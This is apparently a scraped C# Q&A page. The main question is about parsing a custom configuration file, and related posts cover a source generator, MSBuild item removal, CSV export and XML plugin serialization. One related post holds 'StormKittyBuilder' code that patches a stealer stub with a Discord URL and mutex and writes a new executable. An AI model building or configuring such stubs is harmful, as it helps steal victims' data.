I am currently developing a software that will be used by users that should not be able to access the back-end of it all but should still be able to easily change configuration/settings for the application.
I decided the best approach would be a custom "configuration file (.cfg)" located in the root of the final build.
Simple example of the .cfg file:
serveraddress='10.10.10.10'
serverport='1234'
servertimeout='15000'
Since I wanted the configuration file to easily be extended I decided to use some custom attributes and some simple LINQ.
This does work like I expect it to, but since I am still a novice in .net I am afraid I have not gone with the best approach and my question is therefor:
Is there anything I can do to improve this?
Or is there just generally a better approach for this?
This is my code for reading the configuration file and assigning the values to it's corresponding properties.
ConfigFileHandler.cs
public void ReadConfigFile()
{
var cfgFile = new ConfigFile();
var configLines = File.ReadAllLines("configfile.cfg");
var testList = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToList();
foreach (var prop in typeof(ConfigFile).GetProperties())
{
var attrs = (ConfigFileFieldAttribute[])prop.GetCustomAttributes
(typeof(ConfigFileFieldAttribute), false);
foreach (var t in from attr in attrs from t in testList where t.Item1 == attr.Name select t)
{
prop.SetValue(cfgFile, t.Item2);
}
}
}
ConfigFile.cs
class ConfigFile
{
private static string _serverAddress;
private static int _serverPort;
private static int _serverTimeout;
[ConfigFileField(#"serveraddress")]
public string ServerAddress
{
get { return _serverAddress; }
set { _serverAddress= value; }
}
[ConfigFileField(#"serverport")]
public string ServerPort
{
get { return _serverPort.ToString(); }
set { _serverPort= int.Parse(value); }
}
[ConfigFileField(#"servertimeout")]
public string ServerTimeout
{
get { return _serverTimeout.ToString(); }
set { _serverTimeout= int.Parse(value); }
}
}
any tips on writing better looking code would be highly appreciated!
UPDATE:
Thanks for all the feedback.
Below is the final classes!
https://dotnetfiddle.net/bPMnJA for a live example
Please note, this is C# 6.0
ConfigFileHandler.cs
public class ConfigFileHandler
{
public void ReadConfigFile()
{
var configLines = File.ReadAllLines("configfile.cfg");
var configDictionary = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToDictionary(kvp => kvp.Item1, kvp => kvp.Item2);
ConfigFile.SetDictionary(configDictionary);
}
}
ConfigFile.cs
public class ConfigFile
{
private static Dictionary<string, string> _configDictionary;
public string ServerAddress => PullValueFromConfig<string>("serveraddress", "10.1.1.10");
public int ServerPort => PullValueFromConfig<int>("serverport", "3306");
public long ServerTimeout => PullValueFromConfig<long>("servertimeout", "");
private static T PullValueFromConfig<T>(string key, string defaultValue)
{
string value;
if (_configDictionary.TryGetValue(key, out value) && value.Length > 0)
return (T) Convert.ChangeType(value, typeof (T));
return (T) Convert.ChangeType(defaultValue, typeof (T));
}
public static void SetDictionary(Dictionary<string, string> configValues)
{
_configDictionary = configValues;
}
}
You could keep the simplicity of your config file and get rid of the nested loops by loading the values into a dictionary and then passing that into your ConfigFile class.
public static void ReadConfigFile()
{
var configLines = File.ReadAllLines("configfile.cfg");
var testList = configLines.Select(line => line.Split('='))
.Select(splitString => new Tuple<string, string>(splitString[0], splitString[1].Replace("'", "")))
.ToDictionary(kvp => kvp.Item1, kvp => kvp.Item2);
var cfgFile = new ConfigFile(testList);
}
The new ConfigFile class:
class ConfigFile
{
private Dictionary<string, string> _configDictionary;
public ConfigFile(Dictionary<string, string> configValues)
{
_configDictionary = configValues;
}
public string ServerAddress
{
get { return PullValueFromConfig("serveraddress", "192.168.1.1"); }
}
public string ServerPort
{
get { return PullValueFromConfig("serverport", "80"); }
}
public string ServerTimeout
{
get { return PullValueFromConfig("servertimeout", "900"); }
}
private string PullValueFromConfig(string key, string defaultValue)
{
string value;
if (_configDictionary.TryGetValue(key, out value))
return value;
return defaultValue;
}
}
I decided to use a custom "configuration file (.cfg)" located in the root of the final build.
Good idea. For cleaner code, you could use JSON and JSON.NET for de/serialization and put the read/write into the ConfigFile class. Here is an example that is live as a fiddle.
The ConfigFile class is responsible for loading and saving itself and uses JSON.NET for de/serialization.
public class ConfigFile
{
private readonly static string path = "somePath.json";
public string ServerAddress { get; set; }
public string ServerPort { get; set; }
public string ServerTimeout { get; set; }
public void Save()
{
var json = JsonConvert.SerializeObject(this, Formatting.Indented);
File.WriteAllText(path, json)
}
public static ConfigFile Load()
{
var json = File.ReadAllText(path);
return JsonConvert.DeserializeObject<ConfigFile>(json);
}
}
Here is how you would use it to load the file, change its properties, and save.
ConfigFile f = ConfigFile.Load();
f.ServerAddress = "0.0.0.0";
f.ServerPort = "8080";
f.ServerTimeout = "400";
f.Save();
We use the .json file extension as a convention. You could still use .cfg because it's just plain text with a specific syntax. The resultant config file content from the above usage is this:
{
"ServerAddress":"0.0.0.0",
"ServerPort":"8080",
"ServerTimeout":"400"
}
You could just tell your clients to "change the numbers only". Your approach is fine, as far as I'm concerned. The above is just a cleaner implementation.
Firstly, I would do what Phil did, and store your testlist in a Dictionary.
var configLines = File.ReadAllLines("configfile.cfg");
var testDict = configLines.Select(line => line.Split('=', 2))
.ToDictionary(s => s[0], s => s[1].Replace("'", ""));
Then you can clean up the property assignment LINQ a bit:
foreach (var prop in typeof(ConfigFile).GetProperties())
{
var attr = prop.GetCustomAttributes(false)
.OfType<ConfigFileFieldAttribute>()
.FirstOrDefault();
string val;
if (attr != null && testDict.TryGetValue(attr.Name, out val))
prop.SetValue(cfgFile, val);
}
You might even be able to call:
var attr = prop.GetCustomAttributes<ConfigFileFieldAttribute>(false).FirstOrDefault();
Don't have an IDE on me so I can't check right now
Related
I am trying to make a source generator for mapping columns from the google bigquery api client to class properties. I'm having trouble getting custom column names from a ColumnAttribute on the properties. ConstructorArguments is always empty and columnAttribute.AttributeClass in this sample is always an ErrorTypeSymbol. If I try to load that type using compilation.GetTypeByMetadataName("System.ComponentModel.DataAnnotations.Schema.ColumnAttribute") the result is always null.
using System.Collections.Immutable;
using System.Diagnostics;
using System.Text;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Text;
namespace BigQueryMapping;
[Generator]
public class BigQueryMapperGenerator : IIncrementalGenerator
{
public void Initialize(IncrementalGeneratorInitializationContext context)
{
// add marker attribute
context.RegisterPostInitializationOutput(ctx =>
ctx.AddSource("BigQueryMappedAttribute.g.cs", SourceText.From(Attribute, Encoding.UTF8)));
// add static interface
context.RegisterPostInitializationOutput(ctx =>
ctx.AddSource("BigQueryMappedInterface.g.cs", SourceText.From(Interface, Encoding.UTF8)));
// get classes
IncrementalValuesProvider<ClassDeclarationSyntax> classDeclarations = context.SyntaxProvider
.CreateSyntaxProvider(
predicate: static (s, _) => s is ClassDeclarationSyntax c && c.AttributeLists.Any(),
transform: static (ctx, _) => GetSemanticTargetForGeneration(ctx)
)
.Where(static m => m is not null)!;
IncrementalValueProvider<(Compilation Compilation, ImmutableArray<ClassDeclarationSyntax>Syntaxes)>
compilationAndClasses = context.CompilationProvider.Combine(classDeclarations.Collect());
context.RegisterSourceOutput(compilationAndClasses,
static (spc, source) => Execute(source.Compilation, source.Syntaxes, spc));
static ClassDeclarationSyntax? GetSemanticTargetForGeneration(GeneratorSyntaxContext context)
{
var classDeclarationSyntax = (ClassDeclarationSyntax)context.Node;
foreach (var attributeListSyntax in classDeclarationSyntax.AttributeLists)
{
foreach (var attributeSyntax in attributeListSyntax.Attributes)
{
var fullName = context.SemanticModel.GetTypeInfo(attributeSyntax).Type?.ToDisplayString();
if (fullName == "BigQueryMapping.BigQueryMappedAttribute")
return classDeclarationSyntax;
}
}
return null;
}
static void Execute(Compilation compilation, ImmutableArray<ClassDeclarationSyntax> classes,
SourceProductionContext context)
{
try
{
if (classes.IsDefaultOrEmpty)
return;
var distinctClasses = classes.Distinct();
var classesToGenerate = GetTypesToGenerate(compilation, distinctClasses, context.CancellationToken);
foreach (var classToGenerate in classesToGenerate)
{
var result = GeneratePartialClass(classToGenerate);
context.AddSource($"{classToGenerate.RowClass.Name}.g.cs", SourceText.From(result, Encoding.UTF8));
}
}
catch (Exception e)
{
var descriptor = new DiagnosticDescriptor(id: "BQD001",
title: "Error creating bigquery mapper",
messageFormat: "{0} {1}",
category: "BigQueryMapperGenerator",
DiagnosticSeverity.Error,
isEnabledByDefault: true);
context.ReportDiagnostic(Diagnostic.Create(descriptor, null, e.Message, e.StackTrace));
}
}
}
static IEnumerable<ClassToGenerate> GetTypesToGenerate(Compilation compilation,
IEnumerable<ClassDeclarationSyntax> classes,
CancellationToken ct)
{
var columnAttributeSymbol =
compilation.GetTypeByMetadataName("System.ComponentModel.DataAnnotations.Schema.ColumnAttribute");
foreach (var #class in classes)
{
Debug.WriteLine($"Checking class {#class}");
ct.ThrowIfCancellationRequested();
var semanticModel = compilation.GetSemanticModel(#class.SyntaxTree);
if (semanticModel.GetDeclaredSymbol(#class) is not INamedTypeSymbol classSymbol)
continue;
var info = new ClassToGenerate(classSymbol, new());
foreach (var member in classSymbol.GetMembers())
{
if (member is IPropertySymbol propertySymbol)
{
if (propertySymbol.DeclaredAccessibility == Accessibility.Public)
{
if (propertySymbol.SetMethod is not null)
{
var columnName = propertySymbol.Name;
var columnAttribute = propertySymbol.GetAttributes().FirstOrDefault(a =>
a.AttributeClass!.ToDisplayString() == "Column");
if (columnAttribute is not null)
{
if (!columnAttribute.ConstructorArguments.IsDefaultOrEmpty)
{
var nameArg = columnAttribute.ConstructorArguments.First();
if (nameArg.Value is string name)
{
columnName = name;
}
}
}
info.Properties.Add((columnName, propertySymbol));
}
}
}
}
yield return info;
}
}
static string GeneratePartialClass(ClassToGenerate c)
{
var sb = new StringBuilder();
sb.Append($#"// <auto-generated/>
namespace {c.RowClass.ContainingNamespace.ToDisplayString()}
{{
public partial class {c.RowClass.Name} : BigQueryMapping.IBigQueryGenerated<{c.RowClass.Name}>
{{
public static {c.RowClass.Name} FromBigQueryRow(Google.Cloud.BigQuery.V2.BigQueryRow row)
{{
return new {c.RowClass.Name}
{{");
foreach (var (columnName, property) in c.Properties)
{
// would like to check if key exists but don't see any sort of ContainsKey implemented on BigQueryRow
var tempName = $"___{property.Name}";
var basePropertyType = property.Type.WithNullableAnnotation(NullableAnnotation.None).ToDisplayString();
if (basePropertyType.EndsWith("?"))
{
basePropertyType = basePropertyType.Substring(default, basePropertyType.Length - 1);
}
sb.Append($#"
{property.Name} = row[""{columnName}""] is {basePropertyType} {tempName} ? {tempName} : default,");
}
sb.Append($#"
}};
}}
}}
}}");
return sb.ToString();
}
private record struct ClassToGenerate(INamedTypeSymbol RowClass,
List<(string ColumnName, IPropertySymbol Property)> Properties);
public const string Attribute = /* lang=csharp */ #"// <auto-generated/>
namespace BigQueryMapping {
[System.AttributeUsage(System.AttributeTargets.Class)]
public class BigQueryMappedAttribute : System.Attribute
{
}
}";
public const string Interface = /* lang=csharp */ #"// <auto-generated/>
namespace BigQueryMapping {
public interface IBigQueryGenerated<TRow> {
static TRow FromBigQueryRow(Google.Cloud.BigQuery.V2.BigQueryRow row) => throw new System.NotImplementedException();
}
}";
}
I have tried this with both System.ComponentModel.DataAnnotations.Schema.ColumnAttribute and a custom attribute injected via context.RegisterPostInitializationOutput to similar results. I have also tried rewriting this to use ISourceGenerator instead of IIncrementalGenerator and gotten the same behavior. Am wondering what I need to do to get columnAttribute loading correctly.
Thanks for any help in advance
It's hard to psychic debug the code but this does jump out:
var columnAttribute = propertySymbol.GetAttributes().FirstOrDefault(a =>
a.AttributeClass!.ToDisplayString() == "Column");
I'd guess the class here would be the fully qualified name. You already fetched the ColumnAttribute type earlier, so what'd be even better is to compare the AttributeClass to that type rather than doing string checks like this.
As a semi-related comment, if you're looking for types/members that are annotated with a specific attribute, rather than doing it yourself we have SyntaxValueProvider.ForAttributeWithMetadataName which is pretty heavily optimized to reduce the performance impact on your Visual Studio. It requires 17.3 or higher, but as long as you're OK with that it'll generally help performance.
`using Mono.Cecil; using Mono.Cecil.Cil;
using System; using System.Linq; using System.Collections.Generic;
namespace StormKittyBuilder {
internal sealed class build
{
private static Random random = new Random();
private static string RandomString(int length)
{
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Discord url", "" },
{ "Mutex", RandomString(20) },
};
// Read stub
private static AssemblyDefinition ReadStub()
{
return AssemblyDefinition.ReadAssembly("stub\\stub.exe");
}
// Write stub
private static void WriteStub(AssemblyDefinition definition, string filename)
{
definition.Write(filename);
}
// Replace values in config
private static string ReplaceConfigParams(string value)
{
foreach (KeyValuePair<string, string> config in ConfigValues)
if (value.Equals($"--- {config.Key} ---"))
return config.Value;
return value;
}
// Проходим по всем классам, строкам и заменяем значения.
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
public static string BuildStub()
{
var definition = ReadStub();
definition = IterValues(definition);
WriteStub(definition, "bot\\build.exe");
return "bot\\build.exe";
}
} }`
Working on my college project (a discord bot), I want an .exe file
assume named as builder.exe, which can overwrite another .exe - assume named as base.exe - and we get a new .exe named output.exe.
I tried this BUILDER.EXE Github repo to overwrite my base.exe with help of builder.exe created from this repo no doubt it worked but the help I need from the master reading my problem is that I want to embed the base.exe into my builder.exe (to get a single exe file) which can read and over write base.exe and produce output.exe.
In short a single .exe file (embedded with base.exe) which read and overwrites a reference (base.exe) and produces output.exe as final result.
I've successfuly added files programatically to my project using the following code:
var project = new Microsoft.Build.Evaluation.Project(projPath);
project.AddItem("Compile", filePath);
However, removing a file programatically is giving me a hard time.
Signature:
public bool RemoveItem(
ProjectItem item
)
How can I instantiate a ProjectItem? I couldn't find any examples.
Reference: https://msdn.microsoft.com/en-us/library/microsoft.build.evaluation.project.removeitem.aspx
you did
private static ProjectItem GetProjectItem(this Project project, string filePath)
{
var includePath = filePath.Substring(project.DirectoryPath.Length + 1);
var projectItem = project.GetItems(CompileType).FirstOrDefault(item => item.EvaluatedInclude.Equals(includePath));
return projectItem;
}
in your GetProjectItem method:
replace that:
var projectItem = project.GetItems(CompileType).FirstOrDefault(item => item.EvaluatedInclude.Equals(includePath));
with this:
var projectItem = project.GetItems("Compile").ToList()
.Where(item => item.EvaluatedInclude.Equals(includePath)).FirstOrDefault();
using .FirstOrDefault() will bring it to have just first item of all files. i used .ToList() and made it work with all my items which have same EvaluatedInclude. its totally worked for my.
This is the class I ended up writing. No simple solution for remove.
public static class SourceControlHelper
{
public static void CheckoutFile(string filePath)
{
TFSAction((workspace) => workspace.PendEdit(filePath), filePath);
}
public static void AddFile(this Project project, string filePath)
{
CheckoutFile(project.FullPath);
var projectItem = project.GetProjectItem(filePath);
if (projectItem != null)
{
return;
}
var includePath = filePath.Substring(project.DirectoryPath.Length + 1);
project.AddItem(CompileType, includePath);
project.Save();
TFSAction(workspace => workspace.PendAdd(filePath), filePath);
}
public static void DeleteFile(this Project project, string filePath)
{
CheckoutFile(project.FullPath);
var projectItem = project.GetProjectItem(filePath);
if (projectItem == null)
{
return;
}
project.RemoveItem(projectItem);
project.Save();
TFSAction(workspace => workspace.PendDelete(filePath), filePath);
}
private static ProjectItem GetProjectItem(this Project project, string filePath)
{
var includePath = filePath.Substring(project.DirectoryPath.Length + 1);
var projectItem = project.GetItems(CompileType).FirstOrDefault(item => item.EvaluatedInclude.Equals(includePath));
return projectItem;
}
private static void TFSAction(Action<Workspace> action, string filePath)
{
var workspaceInfo = Workstation.Current.GetLocalWorkspaceInfo(filePath);
if (workspaceInfo == null)
{
Console.WriteLine("Failed to initialize workspace info");
return;
}
using (var server = new TfsTeamProjectCollection(workspaceInfo.ServerUri))
{
var workspace = workspaceInfo.GetWorkspace(server);
action(workspace);
}
}
private static string CompileType
{
get { return CopyTool.Extension.Equals("ts") ? "TypeScriptCompile" : "Compile"; }
}
}
Is there easier way to convert telerik orm entity list to csv format?
The following simple static class will help you in this task. Note that it will create a .csv file, which contains the values of the entity's properties without taking into account the navigation properties:
public static partial class EntitiesExporter
{
public static void ExportEntityList<T>(string fileLocation, IEnumerable<T> entityList, string seperator = " , ")
{
string content = CreateFileContent<T>(entityList, seperator);
SaveContentToFile(fileLocation, content);
}
private static string CreateFileContent<T>(IEnumerable<T> entityList, string seperator)
{
StringBuilder result = new StringBuilder();
List<PropertyInfo> properties = new List<PropertyInfo>();
foreach (PropertyInfo item in typeof(T).GetProperties())
{
if (item.CanWrite)
{
properties.Add(item);
}
}
foreach (T row in entityList)
{
var values = properties.Select(p => p.GetValue(row, null));
var line = string.Join(seperator, values);
result.AppendLine(line);
}
return result.ToString();
}
private static void SaveContentToFile(string fileLocation, string content)
{
using (StreamWriter writer = File.CreateText(fileLocation))
{
writer.Write(content);
writer.Close();
}
}
}
You can consume the class like this in your code:
using (EntitiesModel dbContext = new EntitiesModel())
{
IQueryable<Category> cats = dbContext.Categories;
string appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
string fileLocation = Path.Combine(appDir, "test.csv");
EntitiesExporter.ExportEntityList<Category>(fileLocation, cats);
}
I hope this helps.
I have written an Interface for writing a very very simple Plugin. In fact it is just a class that is loaded at runtime out of a dll file and is stored as Property in another class. That class that stores the interface has to get serialized. As example this is my serialized object:
<?xml version="1.0" encoding="utf-8"?><MD5HashMapper xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="http://www.namespace.net" />
But now If i want to load that Object I get an Exception:
As example :
{"<MD5HashMapper xmlns='http://www.vrz.net/Vrz.Map'> was not expected."}
So does anyone has an idea how to solve that problem?
Code:
I have an Interface named IMap that is shared in a dll file to create Addins based on that interface:
public interface IMap
{
object Map(object input);
}
I also have different Mappers (you can pass an input through them and they modify the output). All Mappers are derived from:
[XmlInclude(typeof(ConstMapper))]
[XmlInclude(typeof(FuncMapper))]
[XmlInclude(typeof(IdentMapper))]
[XmlInclude(typeof(NullMapper))]
[XmlInclude(typeof(RefMapper))]
[XmlInclude(typeof(VarMapper))]
[XmlInclude(typeof(TableMapper))]
[XmlInclude(typeof(AddinMapper))]
public class MapperBase:ComponentBase,IMap
{ public virtual object Map(object input) {
throw new NotImplementedException("Diese Methode muss überschrieben werden");
}
public override string ToString() {
return ShortDisplayName;
}
}
Just forget ComponentBase. It is not important for this...
Now i also have a AddinMapper. The main function of that mapper is to cast create MapperBase Object out of the IMap object:
And that is exactly that class I want to seralize including the properties of the Mapper Property (type IMap).
public class AddinMapper : MapperBase
{
private static MapperBase[] _mappers;
const string addinDirectory = #"Addin\Mappers\";
//Mappers from *.dll files are loaded here:
[XmlIgnore]
public static MapperBase[] Mappers
{
get
{
if (_mappers == null)
{
List<MapperBase> maps = new List<MapperBase>();
foreach (string dll in Directory.GetFiles(addinDirectory, "*.dll"))
{
if (Path.GetFileName(dll) != "IMap.dll")
{
var absolutePath = Path.Combine(Environment.CurrentDirectory, dll);
Assembly asm = Assembly.LoadFile(absolutePath);
foreach (Type type in asm.GetTypes().ToList().Where(p => p.GetInterface("IMap") != null))
{
maps.Add(new AddinMapper((IMap)Activator.CreateInstance(type)));
}
}
}
Mappers = maps.ToArray();
}
return _mappers;
}
set
{
_mappers = value;
}
}
IMap _base;
public string MapperString { get; set; }
[XmlIgnore()]
public IMap Mapper
{
get
{
if (_base == null)
{
Type type = null;
foreach (MapperBase mapperBase in Mappers)
{
if (mapperBase is AddinMapper && ((AddinMapper)mapperBase).Mapper.GetType().FullName == _mapperName)
{
type = (mapperBase as AddinMapper).Mapper.GetType();
break;
}
}
if (type != null)
{
XmlSerializer serializer = new XmlSerializer(type);
using (StringReader reader = new StringReader(MapperString))
{
Mapper = (IMap)serializer.Deserialize(reader);
}
}
}
return _base;
}
private set
{
_base = value;
StoreMapperString();
}
}
string _mapperName;
[System.ComponentModel.Browsable(false)]
public string MapperName
{
get
{
return _mapperName;
}
set
{
_mapperName = value;
}
}
public AddinMapper(IMap baseInterface) : this()
{
Mapper = baseInterface;
_mapperName = baseInterface.GetType().FullName;
}
public AddinMapper()
{
}
public override object Map(object input)
{
return Mapper.Map(input);
}
public override string ToString()
{
return Mapper.ToString();
}
private void StoreMapperString()
{
MemoryStream memstream = new MemoryStream();
XmlStore.SaveObject(memstream, Mapper);
using (StreamReader reader = new StreamReader(memstream))
{
memstream.Position = 0;
MapperString = reader.ReadToEnd();
}
}
}
An example for such a addin would be:
public class ReplaceMapper : IMap
{
public string StringToReplace { get; set; }
public string StringToInsert { get; set; }
public object Map(object input)
{
if (input is string)
{
input = (input as string).Replace(StringToReplace, StringToInsert);
}
return input;
}
}
And the Problem is I want to save the Settings like StringToReplace,... as xml
I ve solved my problem:
I really don t know why but take a look at this article: http://www.calvinirwin.net/2011/02/10/xmlserialization-deserialize-causes-xmlns-was-not-expected/
(if link is dead later)
XmlRootAttribute xRoot = new XmlRootAttribute();
xRoot.ElementName = elementName;
xRoot.IsNullable = true;
XmlSerializer ser = new XmlSerializer(typeof(MyObject), xRoot);
XmlReader xRdr = XmlReader.Create(new StringReader(xmlData));
MyObject tvd = (MyObject)ser.Deserialize(xRdr);
Now the important thing: It does not matter if you don t get an excption on serialization. You have to add the XmlRootAttribute on both ways: Serialisation and Deserialization.